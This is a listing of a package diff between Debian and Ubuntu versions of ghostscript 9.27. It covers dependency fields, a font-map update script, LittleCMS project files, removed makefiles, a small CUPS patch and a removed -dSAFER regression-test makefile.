libfontconfig1-dev, + libcups2-dev, + libcupsimage2-dev, + libpaper-dev, + libidn11-dev, + freeglut3-dev, + pkg-config +Standards-Version: 4.2.0 +Uploaders: Jonas Smedegaard <dr@jones.dk>, Michael Gilbert <mgilbert@debian.org>, - Bastien ROUCARIÈS <roucaries.bastien+debian@gmail.com>, + Bastien ROUCARIÈS <roucaries.bastien+debian@gmail.com> Homepage: https://www.ghostscript.com/ Vcs-Git: https://salsa.debian.org/printing-team/ghostscript.git Vcs-Browser: https://salsa.debian.org/printing-team/ghostscript -Rules-Requires-Root: no Package: ghostscript Architecture: any Multi-Arch: foreign -Provides: - postscript-viewer, -Suggests: - ghostscript-x, -Depends: +Provides: ${cdbs:Provides} +Recommends: ${cdbs:Recommends} +Suggests: ${cdbs:Suggests} +Depends: ${shlibs:Depends}, + ${cdbs:Depends}, libgs9 (= ${binary:Version}), - ${misc:Depends}, - ${shlibs:Depends}, + ${misc:Depends} Description: interpreter for the PostScript language and for PDF GPL Ghostscript is used for PostScript/PDF preview and printing. Usually as a back-end to a program such as ghostview, it can display @@ -64,10 +58,9 @@ Description: interpreter for the PostScr Package: ghostscript-x Architecture: any -Depends: - ghostscript (= ${binary:Version}), - ${misc:Depends}, - ${shlibs:Depends}, +Depends: ${shlibs:Depends}, + ${cdbs:Depends}, + ${misc:Depends} Description: interpreter for the PostScript language and for PDF - X11 support GPL Ghostscript is used for PostScript/PDF preview and printing. Usually as a back-end to a program such as ghostview, it can display @@ -78,12 +71,10 @@ Description: interpreter for the PostScr Package: ghostscript-doc Section: doc Architecture: all -Depends: - libjs-jquery, - ${misc:Depends}, - ${shlibs:Depends}, -Suggests: - ghostscript, +Depends: ${shlibs:Depends}, + ${cdbs:Depends}, + ${misc:Depends} +Suggests: ${cdbs:Suggests} Description: interpreter for the PostScript language and for PDF - Documentation GPL Ghostscript is used for PostScript/PDF preview and printing. Usually as a back-end to a program such as ghostview, it can display @@ -95,13 +86,11 @@ Description: interpreter for the PostScr Package: libgs9 Section: libs Architecture: any -Pre-Depends: - ${misc:Pre-Depends}, -Depends: - libgs9-common (= ${source:Version}), - poppler-data, +Pre-Depends: ${misc:Pre-Depends} +Depends: ${shlibs:Depends}, + ${cdbs:Depends}, ${misc:Depends}, - ${shlibs:Depends}, + libgs9-common (= ${source:Version}) Multi-Arch: same Description: interpreter for the PostScript language and for PDF - Library GPL Ghostscript is used for PostScript/PDF preview and printing. @@ -114,10 +103,8 @@ Description: interpreter for the PostScr Package: libgs9-common Section: libs Architecture: all -Depends: - ${misc:Depends}, -Recommends: - fonts-droid-fallback, +Depends: ${misc:Depends} +Recommends: ${cdbs:Recommends} Multi-Arch: foreign Description: interpreter for the PostScript language and for PDF - common files GPL Ghostscript is used for PostScript/PDF preview and printing. @@ -135,10 +122,9 @@ Description: interpreter for the PostScr Package: libgs-dev Section: libdevel Architecture: any -Depends: - libgs9 (= ${binary:Version}), - ${devlibs:Depends}, - ${misc:Depends}, +Depends: ${devlibs:Depends}, + ${cdbs:Depends}, + ${misc:Depends} Multi-Arch: same Description: interpreter for the PostScript language and for PDF - Development Files GPL Ghostscript is used for PostScript/PDF preview and printing. @@ -152,10 +138,13 @@ Description: interpreter for the PostScr Package: ghostscript-dbg Architecture: any Section: debug -Depends: - libgs9 (= ${binary:Version}) | ghostscript (= ${binary:Version}) | ghostscript-x (= ${binary:Version}), - ${misc:Depends}, - ${shlibs:Depends}, +Priority: extra +Depends: ${shlibs:Depends}, + ${cdbs:Depends}, + libgs9 (= ${binary:Version}) | + ghostscript (= ${binary:Version}) | + ghostscript-x (= ${binary:Version}), + ${misc:Depends} Description: interpreter for the PostScript language and for PDF - Debug symbols GPL Ghostscript is used for PostScript/PDF preview and printing. Usually as a back-end to a program such as ghostview, it can display
  33. Download patch lcms2mt/Projects/mac/LittleCMS/Info.plist

    --- 9.27~dfsg-3.1/lcms2mt/Projects/mac/LittleCMS/Info.plist 1970-01-01 00:00:00.000000000 +0000 +++ 9.27~dfsg+0-0ubuntu3/lcms2mt/Projects/mac/LittleCMS/Info.plist 2019-04-04 07:43:14.000000000 +0000 @@ -0,0 +1,26 @@ +<?xml version="1.0" encoding="UTF-8"?> +<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> +<plist version="1.0"> +<dict> + <key>CFBundleDevelopmentRegion</key> + <string>English</string> + <key>CFBundleExecutable</key> + <string>LittleCMS</string> + <key>CFBundleIconFile</key> + <string></string> + <key>CFBundleIdentifier</key> + <string>com.apple.carbonframeworktemplate</string> + <key>CFBundleInfoDictionaryVersion</key> + <string>6.0</string> + <key>CFBundlePackageType</key> + <string>FMWK</string> + <key>CFBundleShortVersionString</key> + <string>2.7</string> + <key>CFBundleSignature</key> + <string>lcms</string> + <key>CFBundleVersion</key> + <string>2.7</string> + <key>CSResourcesFileMapped</key> + <true/> +</dict> +</plist>
  34. Download patch gpdl/psi/psitop.c
  35. Download patch debian/update-gsfontmap

    --- 9.27~dfsg-3.1/debian/update-gsfontmap 2019-08-13 07:49:11.000000000 +0000 +++ 9.27~dfsg+0-0ubuntu3/debian/update-gsfontmap 2019-08-15 15:31:01.000000000 +0000 @@ -8,15 +8,15 @@ FONTMAP=/var/lib/ghostscript/fonts/Fontm CIDFDIR=/etc/ghostscript/cidfmap.d/ FONTMDIR=/etc/ghostscript/fontmap.d/ -rm -f "$CIDFMAP" "$FONTMAP" -touch "$CIDFMAP" "$FONTMAP" +rm -f $CIDFMAP $FONTMAP +touch $CIDFMAP $FONTMAP -for i in "$CIDFDIR"/*.conf; do - cat "$i" >> "$CIDFMAP" +for i in $CIDFDIR/*.conf; do + cat $i >> $CIDFMAP done 2>/dev/null -for i in "$FONTMDIR"/*.conf; do - cat "$i" >> "$FONTMAP" +for i in $FONTMDIR/*.conf; do + cat $i >> $FONTMAP done 2>/dev/null exit 0
  36. Download patch debian/control.in

    --- 9.27~dfsg-3.1/debian/control.in 1970-01-01 00:00:00.000000000 +0000 +++ 9.27~dfsg+0-0ubuntu3/debian/control.in 2019-09-11 19:06:48.000000000 +0000 @@ -0,0 +1,128 @@ +Source: ghostscript +Section: text +Priority: optional +Maintainer: Debian Printing Team <debian-printing@lists.debian.org> +Build-Depends: @cdbs@ +Standards-Version: 4.1.1 +Uploaders: Jonas Smedegaard <dr@jones.dk>, + Michael Gilbert <mgilbert@debian.org>, + Bastien ROUCARIÈS <roucaries.bastien+debian@gmail.com> +Homepage: https://www.ghostscript.com/ +Vcs-Git: https://anonscm.debian.org/git/printing/ghostscript.git +Vcs-Browser: https://anonscm.debian.org/git/printing/ghostscript.git + +Package: ghostscript +Architecture: any +Multi-Arch: foreign +Provides: ${cdbs:Provides} +Recommends: ${cdbs:Recommends} +Suggests: ${cdbs:Suggests} +Depends: ${shlibs:Depends}, + ${cdbs:Depends}, + libgs9 (= ${binary:Version}), + ${misc:Depends} +Description: interpreter for the PostScript language and for PDF + GPL Ghostscript is used for PostScript/PDF preview and printing. + Usually as a back-end to a program such as ghostview, it can display + PostScript and PDF documents in an X11 environment. + . + Furthermore, it can render PostScript and PDF files as graphics to be + printed on non-PostScript printers. Supported printers include common + dot-matrix, inkjet and laser models. + +Package: ghostscript-x +Architecture: any +Depends: ${shlibs:Depends}, + ${cdbs:Depends}, + ${misc:Depends} +Description: interpreter for the PostScript language and for PDF - X11 support + GPL Ghostscript is used for PostScript/PDF preview and printing. + Usually as a back-end to a program such as ghostview, it can display + PostScript and PDF documents in an X11 environment. + . + This package contains the GPL Ghostscript output device for X11. + +Package: ghostscript-doc +Section: doc +Architecture: all +Depends: ${shlibs:Depends}, + ${cdbs:Depends}, + ${misc:Depends} +Suggests: ${cdbs:Suggests} +Description: interpreter for the PostScript language and for PDF - Documentation + GPL Ghostscript is used for PostScript/PDF preview and printing. + Usually as a back-end to a program such as ghostview, it can display + PostScript and PDF documents in an X11 environment. + . + This package contains documentation for GPL Ghostscript, mainly + targeted developers and advanced users. + +Package: libgs9 +Section: libs +Architecture: any +Pre-Depends: ${misc:Pre-Depends} +Depends: ${shlibs:Depends}, + ${cdbs:Depends}, + ${misc:Depends}, + libgs9-common (= ${source:Version}) +Multi-Arch: same +Description: interpreter for the PostScript language and for PDF - Library + GPL Ghostscript is used for PostScript/PDF preview and printing. + Usually as a back-end to a program such as ghostview, it can display + PostScript and PDF documents in an X11 environment. + . + This package provides the Ghostscript library which makes the + facilities of GPL Ghostscript available to applications. + +Package: libgs9-common +Section: libs +Architecture: all +Depends: ${misc:Depends} +Recommends: ${cdbs:Recommends} +Multi-Arch: foreign +Description: interpreter for the PostScript language and for PDF - common files + GPL Ghostscript is used for PostScript/PDF preview and printing. + Usually as a back-end to a program such as ghostview, it can display + PostScript and PDF documents in an X11 environment. + . + This package provides common architecture-independent files needed by + the GPL Ghostscript library. + . + By default, GPL Ghostscript uses a font from the fonts-droid package to + approximate glyphs in PDFs for which the requested CJK TrueType font + is missing. If the fonts-droid package is not installed, these glyphs + will be rendered as bullets. + +Package: libgs-dev +Section: libdevel +Architecture: any +Depends: ${devlibs:Depends}, + ${cdbs:Depends}, + ${misc:Depends} +Multi-Arch: same +Description: interpreter for the PostScript language and for PDF - Development Files + GPL Ghostscript is used for PostScript/PDF preview and printing. + Usually as a back-end to a program such as ghostview, it can display + PostScript and PDF documents in an X11 environment. + . + This package provides the development files for the GPL Ghostscript + library which makes the facilities of GPL Ghostscript available to + applications. + +Package: ghostscript-dbg +Architecture: any +Section: debug +Priority: extra +Depends: ${shlibs:Depends}, + ${cdbs:Depends}, + libgs9 (= ${binary:Version}) | + ghostscript (= ${binary:Version}) | + ghostscript-x (= ${binary:Version}), + ${misc:Depends} +Description: interpreter for the PostScript language and for PDF - Debug symbols + GPL Ghostscript is used for PostScript/PDF preview and printing. + Usually as a back-end to a program such as ghostview, it can display + PostScript and PDF documents in an X11 environment. + . + This package contains the debugging symbols for ghostscript, + ghostscript-x, and libgs9.
  37. Download patch gpdl/pspcl6_msvc.mak
  38. Download patch lcms2mt/Projects/VC2010/lcms2mt_DLL/lcms2mt_DLL.vcxproj.filters

    --- 9.27~dfsg-3.1/lcms2mt/Projects/VC2010/lcms2mt_DLL/lcms2mt_DLL.vcxproj.filters 1970-01-01 00:00:00.000000000 +0000 +++ 9.27~dfsg+0-0ubuntu3/lcms2mt/Projects/VC2010/lcms2mt_DLL/lcms2mt_DLL.vcxproj.filters 2019-04-04 07:43:14.000000000 +0000 @@ -0,0 +1,121 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup> + <Filter Include="Header Files"> + <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier> + <Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions> + </Filter> + <Filter Include="Resource Files"> + <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier> + <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav</Extensions> + </Filter> + <Filter Include="Source Files"> + <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier> + <Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions> + </Filter> + </ItemGroup> + <ItemGroup> + <ClCompile Include="..\..\..\src\cmsalpha.c"> + <Filter>Source Files</Filter> + </ClCompile> + <ClCompile Include="..\..\..\src\cmscam02.c"> + <Filter>Source Files</Filter> + </ClCompile> + <ClCompile Include="..\..\..\src\cmscgats.c"> + <Filter>Source Files</Filter> + </ClCompile> + <ClCompile Include="..\..\..\src\cmscnvrt.c"> + <Filter>Source Files</Filter> + </ClCompile> + <ClCompile Include="..\..\..\src\cmserr.c"> + <Filter>Source Files</Filter> + </ClCompile> + <ClCompile Include="..\..\..\src\cmsgamma.c"> + <Filter>Source Files</Filter> + </ClCompile> + <ClCompile Include="..\..\..\src\cmsgmt.c"> + <Filter>Source Files</Filter> + </ClCompile> + <ClCompile Include="..\..\..\src\cmsintrp.c"> + <Filter>Source Files</Filter> + </ClCompile> + <ClCompile Include="..\..\..\src\cmsio0.c"> + <Filter>Source Files</Filter> + </ClCompile> + <ClCompile Include="..\..\..\src\cmsio1.c"> + <Filter>Source Files</Filter> + </ClCompile> + <ClCompile Include="..\..\..\src\cmslut.c"> + <Filter>Source Files</Filter> + </ClCompile> + <ClCompile Include="..\..\..\src\cmsmd5.c"> + <Filter>Source Files</Filter> + </ClCompile> + <ClCompile Include="..\..\..\src\cmsmtrx.c"> + <Filter>Source Files</Filter> + </ClCompile> + <ClCompile Include="..\..\..\src\cmsnamed.c"> + <Filter>Source Files</Filter> + </ClCompile> + <ClCompile Include="..\..\..\src\cmsopt.c"> + <Filter>Source Files</Filter> + </ClCompile> + <ClCompile Include="..\..\..\src\cmspack.c"> + <Filter>Source Files</Filter> + </ClCompile> + <ClCompile Include="..\..\..\src\cmspcs.c"> + <Filter>Source Files</Filter> + </ClCompile> + <ClCompile Include="..\..\..\src\cmsplugin.c"> + <Filter>Source Files</Filter> + </ClCompile> + <ClCompile Include="..\..\..\src\cmsps2.c"> + <Filter>Source Files</Filter> + </ClCompile> + <ClCompile Include="..\..\..\src\cmssamp.c"> + <Filter>Source Files</Filter> + </ClCompile> + <ClCompile Include="..\..\..\src\cmssm.c"> + <Filter>Source Files</Filter> + </ClCompile> + <ClCompile Include="..\..\..\src\cmstypes.c"> + <Filter>Source Files</Filter> + </ClCompile> + <ClCompile Include="..\..\..\src\cmsvirt.c"> + <Filter>Source Files</Filter> + </ClCompile> + <ClCompile Include="..\..\..\src\cmswtpnt.c"> + <Filter>Source Files</Filter> + </ClCompile> + <ClCompile Include="..\..\..\src\cmsxform.c"> + <Filter>Source Files</Filter> + </ClCompile> + <ClCompile Include="..\..\..\src\cmshalf.c"> + <Filter>Source Files</Filter> + </ClCompile> + </ItemGroup> + <ItemGroup> + <ClInclude Include="..\..\..\include\lcms2mt.h"> + <Filter>Header Files</Filter> + </ClInclude> + <ClInclude Include="..\..\..\include\lcms2mt_plugin.h"> + <Filter>Header Files</Filter> + </ClInclude> + <ClInclude Include="..\..\..\src\lcms2_internal.h"> + <Filter>Source Files</Filter> + </ClInclude> + <ClInclude Include="..\resource.h"> + <Filter>Resource Files</Filter> + </ClInclude> + </ItemGroup> + <ItemGroup> + <ResourceCompile Include="..\lcms2mt.rc"> + <Filter>Resource Files</Filter> + </ResourceCompile> + </ItemGroup> + <ItemGroup> + <CustomBuild Include="..\..\..\src\lcms2mt.def"> + <Filter>Source Files</Filter> + </CustomBuild> + </ItemGroup> +</Project> \ No newline at end of file
  39. Download patch lcms2mt/configure.ac
  40. Download patch lcms2mt/Projects/mac/LittleCMS/LittleCMS.xcodeproj/project.xcworkspace/xcuserdata/User.xcuserdatad/WorkspaceSettings.xcsettings

    --- 9.27~dfsg-3.1/lcms2mt/Projects/mac/LittleCMS/LittleCMS.xcodeproj/project.xcworkspace/xcuserdata/User.xcuserdatad/WorkspaceSettings.xcsettings 1970-01-01 00:00:00.000000000 +0000 +++ 9.27~dfsg+0-0ubuntu3/lcms2mt/Projects/mac/LittleCMS/LittleCMS.xcodeproj/project.xcworkspace/xcuserdata/User.xcuserdatad/WorkspaceSettings.xcsettings 2019-04-04 07:43:14.000000000 +0000 @@ -0,0 +1,10 @@ +<?xml version="1.0" encoding="UTF-8"?> +<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> +<plist version="1.0"> +<dict> + <key>HasAskedToTakeAutomaticSnapshotBeforeSignificantChanges</key> + <true/> + <key>SnapshotAutomaticallyBeforeSignificantChanges</key> + <true/> +</dict> +</plist>
  41. Download patch debian/clean

    --- 9.27~dfsg-3.1/debian/clean 2019-08-13 07:49:11.000000000 +0000 +++ 9.27~dfsg+0-0ubuntu3/debian/clean 1970-01-01 00:00:00.000000000 +0000 @@ -1,2 +0,0 @@ -sobin -soobj
  42. Download patch lcms2mt/Lib/MS/MS.TXT

    --- 9.27~dfsg-3.1/lcms2mt/Lib/MS/MS.TXT 1970-01-01 00:00:00.000000000 +0000 +++ 9.27~dfsg+0-0ubuntu3/lcms2mt/Lib/MS/MS.TXT 2019-04-04 07:43:14.000000000 +0000 @@ -0,0 +1 @@ +MS \ No newline at end of file
  43. Download patch lcms2mt/depcomp
  44. Download patch gpdl/pspcl6_gcc.mak

    --- 9.27~dfsg-3.1/gpdl/pspcl6_gcc.mak 2019-04-04 07:41:50.000000000 +0000 +++ 9.27~dfsg+0-0ubuntu3/gpdl/pspcl6_gcc.mak 1970-01-01 00:00:00.000000000 +0000 @@ -1,105 +0,0 @@ -# Copyright (C) 2001-2019 Artifex Software, Inc. -# All Rights Reserved. -# -# This software is provided AS-IS with no warranty, either express or -# implied. -# -# This software is distributed under license and may not be copied, -# modified or distributed except as expressly authorized under the terms -# of the license contained in the file LICENSE in this distribution. -# -# Refer to licensing information at http://www.artifex.com or contact -# Artifex Software, Inc., 1305 Grant Avenue - Suite 200, Novato, -# CA 94945, U.S.A., +1(415)492-9861, for further information. -# - -# The "?=" style of this makefile is designed to facilitate "deriving" -# your own make file from it by setting your own custom options, then include'ing -# this file. In its current form, this file will compile using default options -# and locations. It is recommended that you make any modifications to settings -# in this file by creating your own makefile which includes this one. -# -# This file only defines the portions of the makefile that are different -# between the present language switcher vs. the standard pcl6 makefile which -# is included near the bottom. All other settings default to the base makefile. - -# Define the name of this makefile. -MAKEFILE+= ../language_switch/pspcl6_gcc.mak - -# The sources are taken from these directories: -MAINSRCDIR?=../main -GLSRCDIR?=../gs/base -PSSRCDIR?=../gs/psi -PSISRCDIR?=../psi -PSLIBDIR?=../gs/lib -# Path for including gs/Resource into romfs (replaces the gs default) : -PSRESDIR?=../gs/Resource - -# PLPLATFORM indicates should be set to 'ps' for language switch -# builds and null otherwise. -PLPLATFORM?=ps - -# If you want to build the individual packages in their own directories, -# you can define this here, although normally you won't need to do this: -PSGENDIR?=$(GENDIR) -PSOBJDIR?=$(GENDIR) -PSIGENDIR?=$(GENDIR) -PSIOBJDIR?=$(GENDIR) -JGENDIR?=$(GENDIR) -JOBJDIR?=$(GENDIR) -ZGENDIR?=$(GENDIR) -ZOBJDIR?=$(GENDIR) -PSD?=$(GENDIR)/ - -# Executable path\name w/o the .EXE extension -ifeq ("$(UNSUPPORTED)", "1") -TARGET_XE?=$(GENDIR)/pspcl6 -else -$(info ****** NOTE: The language_switch build is a proof of concept and therefore is unsupported.) -$(info ****** If you wish to try it, add UNSUPPORTED=1 to your make command line.) -$(error ) -endif - -# Main file's name -PSI_TOP_OBJ?=$(PSIOBJDIR)/psitop.$(OBJ) -PCL_TOP_OBJ?=$(PCLOBJDIR)/pctop.$(OBJ) -PXL_TOP_OBJ?=$(PXLOBJDIR)/pxtop.$(OBJ) - -TOP_OBJ=$(PSI_TOP_OBJ) $(PCL_TOP_OBJ) $(PXL_TOP_OBJ) - -# Choose COMPILE_INITS=1 for init files and fonts in ROM (otherwise =0) -COMPILE_INITS?=1 - -PSICFLAGS?=-DPSI_INCLUDED -PDL_INCLUDE_FLAGS?=-DPCL_INCLUDED $(PSICFLAGS) - -# Choose FT_BRIDGE=1 to use the freetype rasterizer -FT_BRIDGE?=1 -SHARE_FT?=0 -FTSRCDIR?=$(GLSRCDIR)/../freetype -FT_CFLAGS?=-I$(FTSRCDIR)/include -FT_LIBS?= - -DD=$(GLGENDIR)/ - -FEATURE_DEVS ?= \ - $(DD)psl3.dev \ - $(DD)pdf.dev \ - $(DD)htxlib.dev \ - $(DD)ttfont.dev \ - $(DD)pipe.dev \ - $(DD)gsnogc.dev - -# extra objects. -XOBJS?=$(GLOBJDIR)/gsargs.o $(GLOBJDIR)/gconfig.o \ - $(GLOBJDIR)/gscdefs.o $(GLOBJDIR)/iconfig.o - -ifeq ($(COMPILE_INITS), 1) -include $(PSSRCDIR)/psromfs.mak -endif - -# "Subclassed" makefile -include $(MAINSRCDIR)/pcl6_gcc.mak - -# Subsystems -include $(PSISRCDIR)/psi.mak
  45. Download patch gpdl/gpdl.mak

    --- 9.27~dfsg-3.1/gpdl/gpdl.mak 2019-04-04 07:41:50.000000000 +0000 +++ 9.27~dfsg+0-0ubuntu3/gpdl/gpdl.mak 1970-01-01 00:00:00.000000000 +0000 @@ -1,52 +0,0 @@ -# Copyright (C) 2001-2019 Artifex Software, Inc. -# All Rights Reserved. -# -# This software is provided AS-IS with no warranty, either express or -# implied. -# -# This software is distributed under license and may not be copied, -# modified or distributed except as expressly authorized under the terms -# of the license contained in the file LICENSE in this distribution. -# -# Refer to licensing information at http://www.artifex.com or contact -# Artifex Software, Inc., 1305 Grant Avenue - Suite 200, Novato, -# CA 94945, U.S.A., +1(415)492-9861, for further information. - -# Define the name of this makefile. -GPDL_MAK=$(GPDLSRCDIR)$(D)gpdl.mak - -GPDLSRC=$(GPDLSRCDIR)$(D) -GPDLPSISRC=$(GPDLSRCDIR)$(D)psi$(D) - -GPDLOBJ=$(GPDLOBJDIR)$(D) -GPDLGEN=$(GPDLGENDIR)$(D) -GPDLO_=$(O_)$(GPDLOBJ) -GLGEN=$(GLGENDIR)$(D) - -GPDL_PSI_TOP_OBJ_FILE=psitop.$(OBJ) -GPDL_PSI_TOP_OBJ=$(GPDLOBJ)/$(GPDL_PSI_TOP_OBJ_FILE) - -GPDL_PSI_TOP_OBJS=$(GPDL_PSI_TOP_OBJ) $(GPDLOBJ)gpdlimpl.$(OBJ) - -LANG_CFLAGS=$(D_)PCL_INCLUDED$(_D) $(D_)PSI_INCLUDED$(_D) $(D_)XPS_INCLUDED$(_D) - -GPDLCC=$(CC_) $(LANG_CFLAGS) $(I_)$(PSSRCDIR)$(_I) $(I_)$(PLSRCDIR)$(_I) $(I_)$(GLSRCDIR)$(_I) $(I_)$(DEVSRCDIR)$(_I) $(I_)$(GLGENDIR)$(_I) $(C_) - -$(GPDLGEN)gpdlimpl.c: $(PLSRC)plimpl.c $(MAKEDIRS) - $(CP_) $(PLSRC)plimpl.c $(GPDLGEN)gpdlimpl.c - -$(GPDLOBJ)gpdlimpl.$(OBJ): $(GPDLGEN)gpdlimpl.c \ - $(AK) \ - $(memory__h) \ - $(scommon_h) \ - $(gxdevice_h) \ - $(pltop_h) - $(GPDLCC) $(GPDLGEN)gpdlimpl.c $(GPDLO_)gpdlimpl.$(OBJ) - - -$(GPDL_PSI_TOP_OBJ): $(GPDLPSISRC)psitop.c $(AK) $(stdio__h)\ - $(string__h) $(gdebug_h) $(gp_h) $(gsdevice_h) $(gserrors_h) $(gsmemory_h)\ - $(gsstate_h) $(gsstruct_h) $(gspaint_h) $(gstypes_h) $(gxalloc_h) $(gxstate_h)\ - $(gsnogc_h) $(pltop_h) $(psitop_h) $(plparse_h) $(gsicc_manage_h)\ - $(plfont_h) $(uconfig_h) - $(GPDLCC) $(GPDLPSISRC)psitop.c $(GPDLO_)$(GPDL_PSI_TOP_OBJ_FILE)
  46. Download patch debian/patches/020190825~3283e6d_cups_pwgraster_output_device_small_fix_on_size_matching_improvements.patch

    --- 9.27~dfsg-3.1/debian/patches/020190825~3283e6d_cups_pwgraster_output_device_small_fix_on_size_matching_improvements.patch 1970-01-01 00:00:00.000000000 +0000 +++ 9.27~dfsg+0-0ubuntu3/debian/patches/020190825~3283e6d_cups_pwgraster_output_device_small_fix_on_size_matching_improvements.patch 2019-08-30 09:58:52.000000000 +0000 @@ -0,0 +1,14 @@ +--- a/cups/gdevcups.c ++++ b/cups/gdevcups.c +@@ -3933,7 +3933,10 @@ + cups_mediasize[i] = mediasize[i]; + for (i = 0; i < 4; i ++) + cups_margins[i] = margins[i] * 72.0; +- if (score > 0 && score < 5000) { ++ if (best_score > 0 && best_score < 5000) { ++#ifdef CUPS_DEBUG ++ dmputs(pdev->memory, "DEBUG: Imageable area fit!\n"); ++#endif /* CUPS_DEBUG */ + /* Page size matched by imageable area */ + for (i = 0; i < 2; i ++) + mediasize[i] = cups->MediaSize[i];
  47. Download patch lcms2mt/include/Makefile.am

    --- 9.27~dfsg-3.1/lcms2mt/include/Makefile.am 1970-01-01 00:00:00.000000000 +0000 +++ 9.27~dfsg+0-0ubuntu3/lcms2mt/include/Makefile.am 2019-04-04 07:43:14.000000000 +0000 @@ -0,0 +1,7 @@ +# +# Makefile for include directory +# Based on a work by Bob Friesenhahn + +include_HEADERS = lcms2mt.h lcms2mt_plugin.h + +EXTRA_DIST = lcms2mt.h lcms2mt_plugin.h
  48. Download patch debian/tests/issues/bug_700317/check.mk

    --- 9.27~dfsg-3.1/debian/tests/issues/bug_700317/check.mk 2019-08-13 07:49:11.000000000 +0000 +++ 9.27~dfsg+0-0ubuntu3/debian/tests/issues/bug_700317/check.mk 1970-01-01 00:00:00.000000000 +0000 @@ -1,28 +0,0 @@ -#!/usr/bin/make -f - -# Origin: https://bugs.ghostscript.com/show_bug.cgi?id=700317 -# -# targets correspond with comments in above issue tracker - -ROOT_DIR := $(shell dirname $(realpath $(lastword $(MAKEFILE_LIST)))) - -GS ?= gs - -all: c0 c4 c6 - -c0: $(ROOT_DIR)/c0.ps - $(GS) -sDEVICE=ppmraw -dSAFER -f $< 2>&1 \ - | grep --quiet --fixed-strings --line-regexp \ - --regexp 'Error: /undefined in pdfdict' - -# skip c1 essentially equal to c0 just demonstrating different abuse - -c4: $(ROOT_DIR)/c4.ps - $(GS) -dSAFER -sDEVICE=ppmraw -sOutputFile=/dev/null -f $< 2>&1 \ - | grep --quiet --fixed-strings --line-regexp \ - --regexp 'Error: /undefined in pdfdict' - -c6: $(ROOT_DIR)/c6.ps - $(GS) -dSAFER -sDEVICE=ppmraw -sOutputFile=/dev/null -f $< 2>&1 \ - | grep --quiet --fixed-strings --line-regexp \ - --regexp 'Error: /undefined in pdfdict'
  49. Download patch lcms2mt/Projects/mac/LittleCMS/LittleCMS.xcodeproj/xcuserdata/User.xcuserdatad/xcschemes/xcschememanagement.plist

    --- 9.27~dfsg-3.1/lcms2mt/Projects/mac/LittleCMS/LittleCMS.xcodeproj/xcuserdata/User.xcuserdatad/xcschemes/xcschememanagement.plist 1970-01-01 00:00:00.000000000 +0000 +++ 9.27~dfsg+0-0ubuntu3/lcms2mt/Projects/mac/LittleCMS/LittleCMS.xcodeproj/xcuserdata/User.xcuserdatad/xcschemes/xcschememanagement.plist 2019-04-04 07:43:14.000000000 +0000 @@ -0,0 +1,37 @@ +<?xml version="1.0" encoding="UTF-8"?> +<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> +<plist version="1.0"> +<dict> + <key>SchemeUserState</key> + <dict> + <key>LittleCMS.xcscheme</key> + <dict> + <key>orderHint</key> + <integer>0</integer> + </dict> + <key>testbed.xcscheme</key> + <dict> + <key>orderHint</key> + <integer>1</integer> + </dict> + </dict> + <key>SuppressBuildableAutocreation</key> + <dict> + <key>546B29A210AC677E0054D33A</key> + <dict> + <key>primary</key> + <true/> + </dict> + <key>54E17D5819BF669300040CD3</key> + <dict> + <key>primary</key> + <true/> + </dict> + <key>8D07F2BC0486CC7A007CD1D0</key> + <dict> + <key>primary</key> + <true/> + </dict> + </dict> +</dict> +</plist>
  50. Download patch lcms2mt/include/lcms2mt_plugin.h
  51. Download patch gpdl/psi/gpdlpsi.mak

    --- 9.27~dfsg-3.1/gpdl/psi/gpdlpsi.mak 2019-04-04 07:41:50.000000000 +0000 +++ 9.27~dfsg+0-0ubuntu3/gpdl/psi/gpdlpsi.mak 1970-01-01 00:00:00.000000000 +0000 @@ -1,64 +0,0 @@ -# Copyright (C) 2001-2019 Artifex Software, Inc. -# All Rights Reserved. -# -# This software is provided AS-IS with no warranty, either express or -# implied. -# -# This software is distributed under license and may not be copied, -# modified or distributed except as expressly authorized under the terms -# of the license contained in the file LICENSE in this distribution. -# -# Refer to licensing information at http://www.artifex.com or contact -# Artifex Software, Inc., 1305 Grant Avenue - Suite 200, Novato, -# CA 94945, U.S.A., +1(415)492-9861, for further information. -# - -# makefile for PS Interface (PSI) to Ghostscript PostScript. -# Users of this makefile must define the following: -# PSSRCDIR - the PS interpreter source directory -# GLSRCDIR - the GS library source directory -# GLGENDIR - the GS library generated file directory -# PLSRCDIR - the PCL* support library source directory -# PLOBJDIR - the PCL* support library object / executable directory -# PSISRCDIR - the source directory -# PSIGENDIR - the directory for source files generated during building -# PSIOBJDIR - the object / executable directory -# PSI_TOP_OBJ - object file to top-level interpreter API - -PLOBJ=$(PLOBJDIR)$(D) - -PSISRC=$(PSISRCDIR)$(D) -PSIGEN=$(PSIGENDIR)$(D) -PSIOBJ=$(PSIOBJDIR)$(D) -PSIO_=$(O_)$(PSIOBJ) - -PSICCC=$(CC_) $(I_)$(PSISRCDIR)$(_I) $(I_)$(PSIGENDIR)$(_I) $(I_)$(PLSRCDIR)$(_I) $(I_)$(PSSRCDIR)$(_I) $(I_)$(GLSRCDIR)$(_I) $(I_)$(GLGENDIR)$(_I) $(C_) - -# Define the name of this makefile. -PSI_MAK=$(PSISRC)psi.mak - -psi.clean: psi.config-clean psi.clean-not-config-clean - -psi.clean-not-config-clean: clean_gs - $(RM_) $(PSIOBJ)*.$(OBJ) - $(RM_) $(PSIOBJ)devs.tr6 - -# devices are still created in the current directory. Until that -# is fixed we will have to remove them from both directories. -psi.config-clean: - $(RM_) $(PSIOBJ)*.dev - $(RM_) *.dev - -################ PS Language Interface ################ - -# Top-level API -$(PSI_TOP_OBJ): $(PSISRC)psitop.c 